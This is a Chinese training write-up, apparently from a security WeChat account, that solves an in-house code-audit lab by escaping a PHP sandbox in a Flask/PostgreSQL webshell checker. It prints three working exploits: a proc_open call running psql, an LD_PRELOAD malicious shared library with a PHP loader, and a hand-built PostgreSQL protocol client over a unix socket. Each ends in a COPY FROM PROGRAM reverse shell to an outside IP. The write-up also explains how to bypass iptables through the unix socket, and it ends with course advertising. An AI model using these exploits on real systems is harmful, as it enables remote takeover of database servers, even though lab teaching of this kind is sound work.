前言
这是我们第一道作业题,也是我自己给学员开发的一套内部代审靶场。难度比较高。当时我们讲解了基础课中的sql注入、RCE的相关理论知识。并且有3位学员将我们对于该题目的三种不同的解题方式全部解出。
本题涉及的知识点有:
-
sql注入
-
RCE
-
php
-
python/flask
-
postgresql与postgresql通信
-
命令执行绕过
-
iptables绕过
-
linux进程调试跟踪
结构分析
先看安装包
build.sh
再看主程序
从名字上来看,这就是一个在线php webshell检测工具。
但是他具体做了什么,我们需要分析源码才知道。
看来有个关键函数,名为Check
这里有个字符串拼接到命令执行中。
功能流程分析
该web是python+flask+postgresql的架构
该web是一个php的webshell检测工具
该web支持上传一个php后缀的文件
并通过php的sandbox(沙盒)进行webshell检测
会将文件名、检测结果、来访者ip、文件内容插入到postgresql数据库中
被否决的可能出现问题的点
直接上传php后缀,有可能直接拿到webshell吗?❎
进行沙盒检测时,命令是拼接的,有可能直接RCE吗?❎
有输入插入到postgresql数据库中,有可能是sql注入吗?❎
真正的代码审计分析
真正全盘考虑这个源码,你会发现流程其实很清晰。
我上传了一个php文件,这个web只是起了一个中转传递的作用,它将程序传输给了php沙盒,并且由php二进制将其执行,php二进制执行后,将结果放入数据库,然后返回该php文件“是不是一个webshell”。
整个流程里面,其实有另一处RCE(代码执行)的点,我们之前没讲,就是php沙盒。
一般而言,所谓沙盒,那么一定是动态的。沙盒会将我们的代码、程序真正的运行起来,只不过是在外部施加了各种各样的限制,让我们执行起来没那么痛快。
但是,与之相对的,一旦我们能突破沙盒的限制(所谓沙盒逃逸),那么就有可能拿到各种权限。
所以,我们的问题已经从python层,转变成了如何写出一段php代码,该php代码在沙盒中执行,并且该代码可以逃逸沙盒。
php沙盒逃逸之路
php沙箱的限制
我们先看php沙箱的限制。
1.iptables限制
通过build.sh,我们能看到这条限制。
-A OUTPUT -m owner --uid-owner sandbox -j REJECT
这条iptables限制了sandbox这个用户无法发起任何的流量请求,所有的网络流量请求全部都被iptables这个内核级别的模块给干掉了。
可以看到,sandbox这个用户想连接本地的5432端口去访问postgresql都不行。所有的网络请求都不行,哪怕是访问本地127.0.0.1的网络请求。
2.二进制沙箱本身的限制
我们知道,这个php二进制文件是被我魔改过的,专门用来检出webshell的。所以他并不是一个完整的php环境,很多php的代码,并不能真正得到执行。比如我们要执行cmdshell
可以看到,var_dump函数被调用了,但是system函数并没有被调用(只是提示有调用,但是实际的函数内容是被我直接魔改了)
3.现状分析
1.我们可以执行某些php代码
2.我们似乎无法通过沙盒来反弹访问我们的外网服务器,也不能进行拉?操作,也没办法进行数据回传,因为不能进行任何网络连接
3.我们似乎无法直接执行命令,很多执行命令的函数都被篡改了
一步一步绕过限制
iptables绕过1
我们留下的作业目标是:
通过RCE反弹一个shell回来
目前,我们已经能够限制性的RCE了,但是我们没办法反弹shell,因为sandbox被iptables禁止网络通信了。
所以此时,我们先停下来理理思路,是否还有其他地方能rce。
输入 访问python网站
上传任意php代码,php代码可以得到执行
php代码执行所处的sandbox用户不能访问网络
目的:rce并反弹shell
此时我们一期培训的许多学员都想到了,还有另一个用户,postgres,该用户是没有被iptables限制的,该用户是否可以用来进行命令执行呢?
在我们的付费培训第二期,sql注入那一期,我们分享了postgresql的数据库利用文档。
其中就有提及postgresql的诸多漏洞和利用。
其中有提到,在postgresql9.3版本以后,有多处命令执行的点。
我们来试一下。作为一个代码审计的题目,密码可以理解为是已知的。Dada2022QaxNb666
psql -U postgres -h 127.0.0.1
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'ping reelt3.dnslog.cn -c 3';
SELECT * FROM cmd_exec;
我们可以看到,postgres用户是没有网络限制的,并且可以执行命令,并且数据库密码已知。
所以我们的流程就变成了:
输入 访问python网站
上传任意php代码,php代码可以得到执行
php代码执行所处的sandbox用户不能访问网络
postgres用户是没有网络限制的,并且可以执行sql(通过sql执行命令RCE),并且数据库密码已知 --》是否可以通过php代码跟postgresql数据库通信,执行postgresql的sql语句,进而RCE反弹shell
目的:rce并反弹shell
如何跟postgresql通信
我们刚才说到,绕过iptables反弹shell的方式是,postgres用户没有网络限制,我通过该用户进行网络通信反弹shell回来。
但是,sandbox用户要如何绕过iptables跟绑定在5432端口的postgres程序进行通信呢?
iptables绕过2
我们来看一下postgresql客户端程序的帮助
当不指定host时,默认使用local socket(unix socket)来进行连接,这个local socket(unix socket)并不是通过真正网络socket,而是unix/linux下一种特殊的进程间通信方式,它指向了一个主机上的文件(其实是一个虚拟设备),这样不同进程就可以直接进行通信,比网络通信的速度快。
那么这个unix socket文件在哪里呢?网上有文档说默认是在/tmp目录下,然后可以在配置文件里面改。
但是我们可以通过其他方式获取
netstat -nxlp
这样我们就能连接postgresql了(其实此处可以不填-h因为默认就是/tmp)(我们因为是代码审计,所以默认是知道postgresql密码的)
psql -h /var/run/postgresql/ -U postgres
在php代码中如何跟postgresql通信
在刚才的演示中,我们只是证明了,sandbox这个用户,是可以通过unix socket绕过iptables来跟postgre数据库通信的。但是,我们的输入是php代码,这跟sandbox用户中间,还隔着一个php沙盒。
目前的流程拼图:
输入 访问python网站
上传任意php代码,php代码可以得到执行
php代码执行所处的sandbox用户不能访问网络
sandbox用户,可以通过unix socket绕过iptables来跟postgre数据库通信(目前是执行命令执行psql客户端程序)
-->是否可以通过php代码执行psql客户端程序,或者连接postgre呢?
postgres用户是没有网络限制的,并且可以执行sql(通过sql执行命令RCE),并且数据库密码已知
目的:rce并反弹shell
我这里想了三个骚方案,并且目前这三个骚方案都有学员做出来了。
1.能否找到某个未被函数hook的能调用cmdshell的函数,执行命令,调用psql去执行sql语句,再进行命令执行
2.通过LD_PRELD_PRELOAD,进行bypass
3.能否通过php代码连接postgresql数据库,然后直接执行sql语句进行命令执行
方案1
方案1就是查找有没有我忘了过滤的函数,在这里我们尽量去找那些冷门的函数。这是我认为最容易想到也最容易利用也最容易被修复的方案。
这个思路也很容易理解,程序员也是人,开发者也是人,只要是人,就可能有疏忽。可能忘掉一些应该过滤的函数。
我们知道,php下有很多命令执行的函数,之前的内部培训也总结过一波:
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
popen — 执行一个命令
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
system — 执行外部程序,并且显示输出
至少包含这几个,当然还有一些其他的。经过一番查找、测试,可以找到了一个函数。
proc_open
popen函数被沙盒篡改了,但是给我们留下了proc_open()这样我就能执行外部命令了。放出exp
<?php
$shell = "psql --command "DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/172.16.134.1/7777 0>&1';SELECT * FROM cmd_exec;" "user=postgres password=Dada2022QaxNb666"";
echo($shell);
$a =array();
proc_open($shell,$a,$b);
?>
其中,反弹shell来自于我的好朋友,GKSEC提供的在线脚本,大家可以关注一下。
方案2
方案1是直接执行命令,我们再加一点难度,如果没办法直接调用执行命令的函数呢?是否有办法继续绕过。
这里就是方案2了
通过LD_PRELD_PRELOAD,进行bypass
这里就要参考php的disable_functions的绕过手段了(当然,我这个php沙盒并没有用到disable_functions,只是类似而已)
disable_functions的绕过手段有很多,大家自己去搜索关键字学习。其中适合我们用的就是通过写入一个so文件,然后通过预加载直接执行c的代码。
设置环境变量
环境配置预加载的恶意so
恶意so中的代码我们可以自定义,在构造方法中进行命令执行
想办法触发新进程派生(error_log函数),新进程派生时会继承环境变量
putenv("cmd=$cmd");
putenv("LD_PRELOAD=/tmp/bad.so");
error_log('',1);
这里可以参考这篇文章
可以通过LD_PRELOAD环境变量来进行绕过。
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
if(getenv("LD_PRELOAD")==NULL){
return;
}
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
进行编译
gcc 1.c -shared -fPIC -o bad.so
cat bad.so |base64 -w 0
然后我们的exp就出来了。
<?php
file_put_contents("/tmp/bad.so",base64_decode("刚才base64的结果"));
$cmd = "psql --command "DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/172.16.134.1/7777 0>&1';SELECT * FROM cmd_exec;" "user=postgres password=Dada2022QaxNb666"";
putenv("cmd=$cmd");
putenv("LD_PRELOAD=/tmp/bad.so");
error_log('',1);
?>
这个方案还可以利用iconv家族函数来执行命令,但是原理一样,不讲解了。
方案3
无论方案1或者是方案2,其实我们都是去执行psql这个二进制程序,也都是通过调用外部命令来执行postgresql语句。
那么,我们再做一个限制,如果psql这个二进制程序不存在甚至不能执行外部命令,那么有没有办法继续利用呢?
这就是方案3了
能否通过php代码连接postgresql数据库,然后直接执行sql语句进行命令执行
默认方案直连postgresql(GG)
其实就是通过php连接数据库的常规思路,这里就看内置函数里面能不能连接pgsql了。
<?php
print_r(PDO::getAvailableDrivers());
?>
先看默认的pdo驱动有哪些。
可以看到只有sqlite一个。
再看有没有连接pgsql的函数。
这里推荐一个方法,为了防止一些php原始函数被阉割,我们用以下代码来输出所有可用的函数内容。
<?php
$arr = get_defined_functions();
print_r($arr);
?>
一共有1111个函数可用,可以看到里面没有postgresql相关的函数,所以默认直接postgresql的方案 GG
手撸一个通信协议吧
我们先跳出php的层面来看待这个问题,在整个场景里面我们需要的其实就是一个能与postgresql通信的客户端。而这个客户端是什么无所谓。在网络通信层面,只要能够与unix socket建立通信并且传输数据即可。
所以,再回到php的层面。如果此时我们能够建立unix socket访问,并且能够按照postgresql的通信协议传输数据,那么我们就是一个合法postgresql客户端(php的postgresql库函数无非是比我们封装得好而已)。
所以在这里我选择,用php手撸了一下postgresql通信协议。所幸我们需要通信的内容不多,postgresql的通信协议也够简单。
具体的参考方案可以看这里:
https://www.postgresql.org/docs/12/protocol-flow.html#id-1.10.5.7.3
https://zhuanlan.zhihu.com/p/24661559
http://mysql.taobao.org/monthly/2020/03/02/
但是实践起来我们还是需要用内部培训里面讲过的strace来跟踪一下
strace -s 4096 -tt -f -e trace=network psql --command "DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/172.16.134.1/7777 0>&1';SELECT * FROM cmd_exec;" "user=postgres password=Dada2022QaxNb666"
具体的实现代码我写了一个exp
<?php
$input = " T 3 user postgres database postgres application_name psql client_encoding UTF8 ";
$username = "postgres";
$password = "Dada2022QaxNb666";
$fp = stream_socket_client("unix:///tmp/.s.PGSQL.5432", $errno, $errstr, 30);
fwrite($fp, $input);
$res = fread($fp,1024);
$salt = substr($res, 9);
$input = "p (md5".md5(md5($password.$username).$salt)." ";
fwrite($fp, $input);
$res = fread($fp,1024);
$input = "Q 247DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'sh -i >& /dev/tcp/172.16.134.1/7777 0>&1';SELECT * FROM cmd_exec; ";
fwrite($fp, $input);
$res = fread($fp,1024);
通过这种方式,我们直接就跟postgresql通信,并且发送sql语句去让postgresql数据库执行。这种方式应该目前三种方案来看最高级的,最难以被察觉的利用方式,并且全过程没有文件落盘。
附件下载
从第二期公开课开始,我们的直播录屏与课程文档以及文中提到的工具都要进内部群才能下载。门槛费目前是49.9(最早是9.9,后来涨价了),进入内部群后了解其他同学的学习动向,并且所有的技术提问都保证会得到解答。
本文中提及的“Postgresql数据库利用”文档,可以关注本公众号(dada安全研究所),并在后台回复“pgsql”进行领取。
广告时间
师傅们可以看看我们的课表
如果感兴趣的话,可以联系dada进行深入交流。如果想进行技术提问,可以在公众号后台输入问题,我们的讲师会不定期回复。我们一期的招生工作目前已经满员发车了,感兴趣的同学可以找dada聊聊二期培训。
dada微信:
也欢迎关注我们的另一个公众号“Th0r安全”,深耕网络安全行业,文章内容涵盖安全开发,病毒分析, 电子取证,内网滲透,WEB渗透等安全相关知识:
原文始发于微信公众号(dada安全研究所):代码审计公开课|从沙盒逃逸到RCE